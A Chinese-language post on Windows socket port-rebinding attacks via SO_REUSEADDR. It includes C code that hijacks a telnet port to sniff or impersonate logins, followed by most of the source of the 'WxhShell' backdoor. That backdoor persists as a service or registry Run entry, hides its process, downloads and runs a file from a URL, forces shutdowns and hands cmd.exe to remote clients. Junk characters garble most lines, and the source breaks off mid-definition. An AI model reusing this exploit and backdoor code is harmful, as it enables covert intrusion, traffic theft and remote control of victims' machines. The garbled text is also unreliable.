在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jYFJk&c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!Aw^X} C b,E ?{uG saddr.sin_family = AF_INET;
D &"D[|@ y
%Q. ( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<Gi%+I@szl +cfEyiub bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
z*EV>Y[ MLu!8dgI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d_,5;M^k ];OvV ,* 这意味着什么?意味着可以进行如下的攻击:
gvA}s/ Dz(\ ? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
S^eem_C y|2<Vc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x,!Dd 1)56ec<c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<X:JMj+ @ph!3<(In, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kh5a >OX #$I@V4O;# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D\AVZ76F1 Uj):}xgi' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
l1)~WqhE} X0VSa{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>u?.gJm ~ V4n~Z+k #include
.eR1\IAm #include
r3l1I} #include
K*SgEkb'l #include
) *~A|[ DWORD WINAPI ClientThread(LPVOID lpParam);
1f`De`zXzr int main()
v;x0=I&% {
m2c'r3 UEu WORD wVersionRequested;
BDB*>y7( DWORD ret;
;=Ma+d# WSADATA wsaData;
C\EIaLN< BOOL val;
>fH0>W+! SOCKADDR_IN saddr;
Vr1}Zv3K' SOCKADDR_IN scaddr;
6ZqU:^3 int err;
|9#q7kM SOCKET s;
{A/r) SOCKET sc;
EtKq.<SJ int caddsize;
l 88= HANDLE mt;
2R[v*i^S DWORD tid;
a!9'yc wVersionRequested = MAKEWORD( 2, 2 );
b=,BLe\ err = WSAStartup( wVersionRequested, &wsaData );
C/e.BXA if ( err != 0 ) {
gV2vwe printf("error!WSAStartup failed!\n");
2:*15RH3 return -1;
m,k0 h% }
IZ=Z=k{ saddr.sin_family = AF_INET;
ipu!{kJ S&_03 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
42NfD/"g+s L ;L: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c/|{yp$Ga> saddr.sin_port = htons(23);
!l (Vk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T$5wH )< {
L4>14D\ printf("error!socket failed!\n");
9>)b6)J D return -1;
^kKLi }
FDMQLx f val = TRUE;
Z hfp>D //SO_REUSEADDR选项就是可以实现端口重绑定的
Uwc%'=@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Lce,]z\_ {
g\q . printf("error!setsockopt failed!\n");
Kh]es,$D return -1;
j3Od7bBS] }
WqeWjI.2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>C0B!MT?3% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
16iTE-J_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UPhO=G JW
D`} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y%TqH\RKv {
Kxsd@^E ret=GetLastError();
f2WVg;Z printf("error!bind failed!\n");
aTvyzr1 return -1;
C'JI%HnQ }
TO6F listen(s,2);
=XfvPBA while(1)
8<VDp Y {
!db=Iz5) caddsize = sizeof(scaddr);
:3D8rqi: //接受连接请求
JHxcHh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:Awwt0 if(sc!=INVALID_SOCKET)
)s!A\a`vEd {
,U{dqw8E{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J67
thTGFq if(mt==NULL)
F*k
=JL {
/TMVPnvz. printf("Thread Creat Failed!\n");
La ?A@SD break;
|
.jWz.c }
iJ{axa & }
]Jswxw CloseHandle(mt);
b] 5dBZ( }
ygz2bHpD~ closesocket(s);
Zux L2W WSACleanup();
w7MRuAJ4 return 0;
x1@,k=qrd }
&lzY"Y*hA0 DWORD WINAPI ClientThread(LPVOID lpParam)
[G_ ;78 {
4e#g{, SOCKET ss = (SOCKET)lpParam;
G#7*O` SOCKET sc;
$O |Xq7dp unsigned char buf[4096];
#un'?]tZF SOCKADDR_IN saddr;
&* VhtT?=5 long num;
>!fTWdD^ DWORD val;
B&MDn']fV/ DWORD ret;
W? G4>zA //如果是隐藏端口应用的话,可以在此处加一些判断
J_)F/S!T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!XTzsN saddr.sin_family = AF_INET;
#VhdYDbW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y;az&T saddr.sin_port = htons(23);
q,[;AHb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}R*%q {
l"J#Pvi printf("error!socket failed!\n");
JAxzXAsAR return -1;
g3ukx$Q{> }
C^$E#|E9 N val = 100;
)v(rEY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"-:H$ {
,zjz "7' ret = GetLastError();
Y~Uf2(7b5 return -1;
/
B!j`UK }
\4 b^*`d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9"[,9HN {
PS~_a ret = GetLastError();
v}!lx)# return -1;
%RW*gUvc] }
(\qf>l+* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5B~]%_gZr {
^qL<=UC. printf("error!socket connect failed!\n");
'A[PUSEE closesocket(sc);
+P))*0(c_ closesocket(ss);
}X9&!A8z return -1;
P*k n}: }
3uw3[
SR1 while(1)
N!7?D'y
{
l(1.Ll
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
` 0@m, //如果是嗅探内容的话,可以再此处进行内容分析和记录
3X Y"s" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UK6x]tE num = recv(ss,buf,4096,0);
_E9[4%f if(num>0)
;-JF1p 7; send(sc,buf,num,0);
b0}dy\dnQ else if(num==0)
m2m
;|rr break;
,tXI*R num = recv(sc,buf,4096,0);
-medD G if(num>0)
$\m:}\%p send(ss,buf,num,0);
h8WM4
PK else if(num==0)
X!V#:2JY break;
GYtgw9 "Y }
)-I/ej^ closesocket(ss);
]R~hzo closesocket(sc);
GN(,` y return 0 ;
P:Q&lnC }
z}SJ~WY'[ k/F#-},Q. e>_a
( ==========================================================
sC"w{_D@*4 6# bTlmcg 下边附上一个代码,,WXhSHELL
otaRA zZd.U\"2 ==========================================================
_k}Qe; #bcZ:D@FC #include "stdafx.h"
0[H/>%3O {*;K>%r\o #include <stdio.h>
P*[wB_^&UP #include <string.h>
E;H9]*x/ #include <windows.h>
9y[U\[H #include <winsock2.h>
0OlT^ #include <winsvc.h>
y ~-v0/ #include <urlmon.h>
id,' + < X6}W] #pragma comment (lib, "Ws2_32.lib")
`s69p'<;p #pragma comment (lib, "urlmon.lib")
k"=*' 2asRJ97qES #define MAX_USER 100 // 最大客户端连接数
tW!*W? #define BUF_SOCK 200 // sock buffer
?}KD<R #define KEY_BUFF 255 // 输入 buffer
J>M 9t%f@ fJNK@F #define REBOOT 0 // 重启
l_;6xkv4 #define SHUTDOWN 1 // 关机
%INkuNa8\ hKg +A #define DEF_PORT 5000 // 监听端口
IPn!iv) W2%@}IDm #define REG_LEN 16 // 注册表键长度
+mft #define SVC_LEN 80 // NT服务名长度
UFZOu%Y HP7~Zn)c // 从dll定义API
0`V=x+*, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0i5S=L`j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$U/lm;{% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*"OlO}o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*N: $,xf :^paI // wxhshell配置信息
qHheF%[\5 struct WSCFG {
'cu14m_ int ws_port; // 监听端口
oP
T)vN? char ws_passstr[REG_LEN]; // 口令
?x 0gI
int ws_autoins; // 安装标记, 1=yes 0=no
$v_&jE char ws_regname[REG_LEN]; // 注册表键名
n2_;:= char ws_svcname[REG_LEN]; // 服务名
#%%!r$UL char ws_svcdisp[SVC_LEN]; // 服务显示名
/]0SF_dZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
2&pE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}l} _'FmQ
int ws_downexe; // 下载执行标记, 1=yes 0=no
TC2%n\GH* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0s Jp,4Vv char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_KtV`bF YvuE:ia };
V60"j( [zq2h3r // default Wxhshell configuration
T#6g5Jnsp struct WSCFG wscfg={DEF_PORT,
Kwm_Y5`A "xuhuanlingzhe",
CY.92I@S 1,
S~H>MtX(< "Wxhshell",
EUh_`R "Wxhshell",
x|AND]^Q "WxhShell Service",
.nNZdta&= "Wrsky Windows CmdShell Service",
$y.0h( "Please Input Your Password: ",
#Muh|P]%\ 1,
3(t3r::& "
http://www.wrsky.com/wxhshell.exe",
J"S(GL "Wxhshell.exe"
wKpb%3 };
"1XTgCu\ )/[L)-~y~ // 消息定义模块
XM"Qs.E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G=gU|& ( char *msg_ws_prompt="\n\r? for help\n\r#>";
uzmYkBv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
t_16icF9U char *msg_ws_ext="\n\rExit.";
PJ&L7 char *msg_ws_end="\n\rQuit.";
$0OOH4 char *msg_ws_boot="\n\rReboot...";
&PApO{#Q char *msg_ws_poff="\n\rShutdown...";
ai?N!RX%H char *msg_ws_down="\n\rSave to ";
O#):*II`9 8QL=%Pv char *msg_ws_err="\n\rErr!";
HCkfw+gaV char *msg_ws_ok="\n\rOK!";
V
)UtU
L 3b#L*- char ExeFile[MAX_PATH];
F&+qd`8J int nUser = 0;
%CnNu HANDLE handles[MAX_USER];
Qv'x+GVW] int OsIsNt;
Q}l~n)= bYpeI(zK SERVICE_STATUS serviceStatus;
^~vM*.j~j SERVICE_STATUS_HANDLE hServiceStatusHandle;
PJ?C[+& (C
uM*- // 函数声明
SO STtuT int Install(void);
Ahba1\,N$ int Uninstall(void);
Bxw(pACf int DownloadFile(char *sURL, SOCKET wsh);
Y-st2r[, int Boot(int flag);
zkqn>
void HideProc(void);
4W49*Je int GetOsVer(void);
Og@{6> int Wxhshell(SOCKET wsl);
$`%Om WW{ void TalkWithClient(void *cs);
NOkgG0Z int CmdShell(SOCKET sock);
~b
X~_\ int StartFromService(void);
.}Xf<G& int StartWxhshell(LPSTR lpCmdLine);
yH43Yo#Rk Nmt~1.J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5a@9PX^.J VOID WINAPI NTServiceHandler( DWORD fdwControl );
~Ma r W#^.)V // 数据结构和表定义
KZcmNli&A SERVICE_TABLE_ENTRY DispatchTable[] =
r_,;[+! {
`jr?I {m; {wscfg.ws_svcname, NTServiceMain},
;PMh>ZE` {NULL, NULL}
D *PEIsV };
3iX\):4 `$6~QLUf // 自我安装
H[OgnnM int Install(void)
IoK/ 2Gp {
<-N2<sl char svExeFile[MAX_PATH];
"lt5gu! `u HKEY key;
:/Es%z
D strcpy(svExeFile,ExeFile);
>mR8@kob< v[8+fd)}S // 如果是win9x系统,修改注册表设为自启动
T2.[iD!A if(!OsIsNt) {
ITn PF{N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T*=*$% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U1lqg?KO RegCloseKey(key);
h9}*_qc&kV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mW{> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W\w#}kY RegCloseKey(key);
7m]J7 +4 return 0;
Ks6\lpr }
/Yg&:@L }
I_->vC|> }
Z0-?;jA@ else {
>}O}~$o v*dw'i // 如果是NT以上系统,安装为系统服务
:Y1;= W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'6>*J if (schSCManager!=0)
<LXx_{=: {
xh9$ZavB* SC_HANDLE schService = CreateService
1 0c.#9$ (
p nI= schSCManager,
=8<~pr-NO wscfg.ws_svcname,
0jjtx'F wscfg.ws_svcdisp,
%+Z*-iX SERVICE_ALL_ACCESS,
BbCO K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
woPj>M SERVICE_AUTO_START,
Za3}:7`Gu SERVICE_ERROR_NORMAL,
.PR+_a-X svExeFile,
{]dtA&8( NULL,
7 [u>#8 NULL,
~gMt
U NULL,
!d!u{1Y& NULL,
yzzJKucVU: NULL
YC56]Zp );
4G&dBH if (schService!=0)
$8HiX6r {
R(VOHFvW6 CloseServiceHandle(schService);
2ag8?# CloseServiceHandle(schSCManager);
vxI9|i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
P#XV_2 strcat(svExeFile,wscfg.ws_svcname);
650qG$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?8GS*I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r-.@MbBm RegCloseKey(key);
h"0)spF"d return 0;
u5glKE }
h !R=t }
ArNQ}F/ CloseServiceHandle(schSCManager);
p@4GI[ 4 }
0NC70+4L }
7dACbqba pb)8?1O|s return 1;
(?JdiY/ }
}b&S3?ONt S**eI<QFSk // 自我卸载
@v#P u_ int Uninstall(void)
\i%mokfbc {
(4A'$O2 HKEY key;
DR:$urU$ }AJoF41X if(!OsIsNt) {
hp9U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A!x &,< RegDeleteValue(key,wscfg.ws_regname);
lNa+NtQu RegCloseKey(key);
1nskf*Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%>i:C-l8 RegDeleteValue(key,wscfg.ws_regname);
*pS 7,Hm RegCloseKey(key);
F!0iM)1o return 0;
` K{k0_{ }
';/J-l/SE }
0Q_*Z ( }
LjG^c>[:m else {
'D
?o^ oR=i5lAU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|.UY'B if (schSCManager!=0)
Q^rR }Ws {
Y`bTf@EP> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Op?"G if (schService!=0)
^sLx3a {
"W(Ae="60 if(DeleteService(schService)!=0) {
+W*~=*h| CloseServiceHandle(schService);
y@!o&,,mq CloseServiceHandle(schSCManager);
g)#{<#*2 return 0;
G,|!&=Pe|E }
Ws@'2i\; CloseServiceHandle(schService);
SNH 3C1 }
L8PX SJ CloseServiceHandle(schSCManager);
tMiIlf!>p }
Ls9NQy }
cpltTJFg NSB6 2 return 1;
Kh(`6 f }
#[lhem] IC Wa<<"x$ // 从指定url下载文件
&R_7]f+%) int DownloadFile(char *sURL, SOCKET wsh)
Q]xkDr?
{
\BXzmok HRESULT hr;
+C{-s char seps[]= "/";
eNAxVF0 char *token;
- Fbp!*.
u char *file;
YoKyiO!
char myURL[MAX_PATH];
+)j ll#}? char myFILE[MAX_PATH];
_q27
3QG/" !EB<N<P"t strcpy(myURL,sURL);
hb5K"9Y token=strtok(myURL,seps);
;J 5z while(token!=NULL)
x^f)I|t {
#lP8/-s^ file=token;
S v>6:y9?G token=strtok(NULL,seps);
=
(F }
-o6rY9\_! :BF ? r GetCurrentDirectory(MAX_PATH,myFILE);
[fa4 strcat(myFILE, "\\");
*n? 1C"l strcat(myFILE, file);
{G:y?q'z send(wsh,myFILE,strlen(myFILE),0);
&oS$< send(wsh,"...",3,0);
d7X&3L%Oq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K}R+~<bIY if(hr==S_OK)
p%"dYH%]&0 return 0;
x.?5-3|d$ else
M`Er&nQs return 1;
b]+F/@h~] Y$r78h=4 }
WVy'f|3; ~hLan&T // 系统电源模块
@dDeOnF int Boot(int flag)
pFd8p@m_2 {
LSJ?;Zg(=z HANDLE hToken;
d]l8ei@>h TOKEN_PRIVILEGES tkp;
e{P v:jl WKEb
'^ if(OsIsNt) {
w6%
Q"%rp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m.e]tTe LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)?*YrWO{ tkp.PrivilegeCount = 1;
I9*cEZ!l=e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o|(5Sr&H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NXY jb(4: if(flag==REBOOT) {
I#M3cI!X? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;!4gDvm return 0;
M<fhQJ }
`a& kD|Yh else {
smQ^(S^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2@D`^]] return 0;
:o'XE|N }
18>cfDh;N }
%t9C else {
DmiBM6t3N if(flag==REBOOT) {
qos7u91z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u*l|MIi6J return 0;
L_8zZ8 o }
$7S"4rou else {
k"(]V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|7s2xRc return 0;
bmfM_oz }
V8?}I)#(7 }
K9lgDk"i 'YNaLZ20 return 1;
I &t~o }
yGZsNd {a& S(Yd.Sp // win9x进程隐藏模块
E
$@W~).! void HideProc(void)
u/zBz*zh {
:S+K\ [. 5m}V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T #\ if ( hKernel != NULL )
Kx__&a {
j i"g)d6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7RAB"T;?Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A =Wg0eYy\ FreeLibrary(hKernel);
m~ tvuz I }
E7fx4kV `Lf'/q return;
7 F^d- }
3$$E0`7. -4a9 BE". // 获取操作系统版本
#WpkL]g2+% int GetOsVer(void)
{meX2Z4 {
Ifj&S'(): OSVERSIONINFO winfo;
CLb6XnkcA\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~GaGDS\V GetVersionEx(&winfo);
AZtS4]4G) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
EdJL&* return 1;
)D)5
`n) else
^QB[;g.O return 0;
D6sw"V# }
k*.]*]
I2ek`t] // 客户端句柄模块
hvd}l8 int Wxhshell(SOCKET wsl)
Y::0v@&( {
lfGyK4: SOCKET wsh;
C$3*[ struct sockaddr_in client;
T(4d5 fY DWORD myID;
]T4/dk&|o^ 'Ts:. while(nUser<MAX_USER)
qS!r<'F3dP {
)?L=o0 int nSize=sizeof(client);
`zwz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yzA05 npTl if(wsh==INVALID_SOCKET) return 1;
m7 =$*1k GP|=4T}Bf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R$awg SE if(handles[nUser]==0)
S2~cAhR|M closesocket(wsh);
Zo9<96I& else
JE?p'77C nUser++;
V|7YRa@ }
L+%"ew WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)
nfoDG#O AKNx~!%2 return 0;
v\0 G`&^1 }
Q=\
Oa(I 6K $mW // 关闭 socket
\u3\ TJ void CloseIt(SOCKET wsh)
,b+NhxdZ {
R`?l.0 closesocket(wsh);
4JSPD#%f nUser--;
}2A6W%^>] ExitThread(0);
[&Xp]:M'D }
p|4qkJK8 fn#8=TIDf // 客户端请求句柄
}kbSbRH43 void TalkWithClient(void *cs)
-+9[X*VCc {
adON&< cH]tZ$E` SOCKET wsh=(SOCKET)cs;
dn6B43w char pwd[SVC_LEN];
KWwtL"3 char cmd[KEY_BUFF];
W+XWS,( char chr[1];
_`$LdqgE int i,j;
)vr@:PE j)1y v. while (nUser < MAX_USER) {
uGKjZi e5h*GKF if(wscfg.ws_passstr) {
gU9{~-9} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ZTC>Ufu2! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z*Sm5i&)_q //ZeroMemory(pwd,KEY_BUFF);
I Mgd2qIC i=0;
p:,Y6[gMo while(i<SVC_LEN) {
~Eut_d ^S#; // 设置超时
eh#37*- fd_set FdRead;
yI w}n67 struct timeval TimeOut;
^}3^|jF FD_ZERO(&FdRead);
<QtZ6-;_f FD_SET(wsh,&FdRead);
fF:57*ys TimeOut.tv_sec=8;
BT{;^Hp TimeOut.tv_usec=0;
J=V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
gmTBT#{6yH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wZrFu(_ xQ?>72grP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g14*6O: pwd
=chr[0]; !Jg;%%E3:i
if(chr[0]==0xd || chr[0]==0xa) { (Guzj*1 2
pwd=0; ]{-.?W*$
break; jA? #!lx_
} +qxPUfN
i++; T.q2tC[bR
} b`0tfXzS5
L
aTcBcI
// 如果是非法用户,关闭 socket tobE3Od4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 77e*9/6@
} ^df wWP
Z['.RF'`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J )1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^5 >e
U}v`~'K
while(1) { :I"CQ
C[Z
E}^V@ :j>
ZeroMemory(cmd,KEY_BUFF); k(Yz2
xh6(~'$
// 自动支持客户端 telnet标准 {+N<
9(O
j=0; }A9#3Y|F
while(j<KEY_BUFF) { A`c22Ls]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,"qCz[aDN1
cmd[j]=chr[0]; "EW8ll7r
if(chr[0]==0xa || chr[0]==0xd) { M,Gy.ivz
cmd[j]=0; [|\6AIoS
break; GR,2^]<{
} $+gQnI3w
j++; Ht`fC|E
} /iW+<@Mas
]kh]l8t ^
// 下载文件 Rq4;{a/j
if(strstr(cmd,"http://")) { >Wg=
Tuef
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y#U.9>h
if(DownloadFile(cmd,wsh)) 9t! d.}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?y>N&\pt2
else g/?Vl2W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*=!M# D
} @uSO~.7
else { c
'|*{%<e2
|jsI-?%8J
switch(cmd[0]) { ktu?-?#0,
RK# 6JfC3X
// 帮助 !E70e$Th
case '?': { B`pBIUu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cJKnB!iL5
break; N,t9X7G&
} m l`xLZN>L
// 安装 UG1<Xfu|
case 'i': { ,f03TBD}
if(Install()) OM'iJB6=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8jK=A2pTa
else glAS$<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eSPS3|YYn
break; $KcAB0 B8
} +]l?JKV
// 卸载 uJ`N'`Z
case 'r': { M-WSdG[AJ
if(Uninstall()) ulR yt^bx|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .EYL
else SX3'|'-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dT`nR"
break; $-_" SWG.
} Za.}bR6?Y
// 显示 wxhshell 所在路径 [d`Jw/4n
case 'p': { YSjc=
char svExeFile[MAX_PATH]; {R$`YWk
strcpy(svExeFile,"\n\r"); +h)"m/mE
strcat(svExeFile,ExeFile); LpHGt]|D
send(wsh,svExeFile,strlen(svExeFile),0); L
K&c~
Uy
break; j/v>,MM
} P0N/bp2Uy
// 重启 /Qgb t
case 'b': { Z;+,hR ((
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tpI/Ibq
if(Boot(REBOOT)) lM-\:Q!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cGot0' mB
else { deVd87;@7[
closesocket(wsh); }OkzP)(
ExitThread(0); .0Ud?v>=
} 6:_~-xG
break; 3mgvWR
} k-$Acv(
// 关机 _z_YJ7A>
case 'd': { `&;#A*C0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^!['\
if(Boot(SHUTDOWN)) 4S(G366
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6v@Prw@.b
else { R P{pEd
closesocket(wsh); Owp]>e
ExitThread(0); f,YORJ
} L1IF$eC
break; 1$Up7=Dr=
} A-x^JC=
// 获取shell 81RuNs]
case 's': { aru2H6
CmdShell(wsh); dJ"44Wu+J
closesocket(wsh); r*HSi.'21
ExitThread(0); cT(nKHL
break; Gm+D1l i
}
ff9m_P
// 退出 %6ckau1_;
case 'x': { /cS8@)e4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \mF-L,yu
CloseIt(wsh); <XL%*
break; 6 `6I<OJ\
} pbzt8 P[
// 离开 /X8a3Eqp9
case 'q': { mtUiO
p
send(wsh,msg_ws_end,strlen(msg_ws_end),0); COi15( G2
closesocket(wsh); 2d[tcn$;h]
WSACleanup(); _ $PeFE2
exit(1); 4'faE="1)S
break; Fd8nR9A
} d /jx8(0
} dcKpsX
} 2e6P?pX~2
8YSvBy
// 提示信息 `!8\|/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |\bNFnn(
} c coi
} oy[s])Tg
M:O*_>KF
return; +5fB?0D;
} F%L"Q>aHW
Eu|/pH=:
// shell模块句柄 fMwF|;
int CmdShell(SOCKET sock) qJ" (:~
{ .J.}}"+U
STARTUPINFO si; zBm~ J%
ZeroMemory(&si,sizeof(si)); Vc\g"1x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; clDn=k<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mjOxmwo
PROCESS_INFORMATION ProcessInfo; /}u:N:HA%
char cmdline[]="cmd"; j'*.=cwsp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %>&~?zrq
return 0; H_g]q
} ImQ-kz?b
4#t'1tzu#
// 自身启动模式 &"u(0q
int StartFromService(void) 7Kym|Zg
{ r6j[C"@
typedef struct ,WdSJ BK'a
{ +s}!+I8P
DWORD ExitStatus; D[W`
q#W
DWORD PebBaseAddress; JKKp5~_~
DWORD AffinityMask; \Vv)(/q {
DWORD BasePriority; H:b"Vd"x9
ULONG UniqueProcessId; M_O$]^I3w
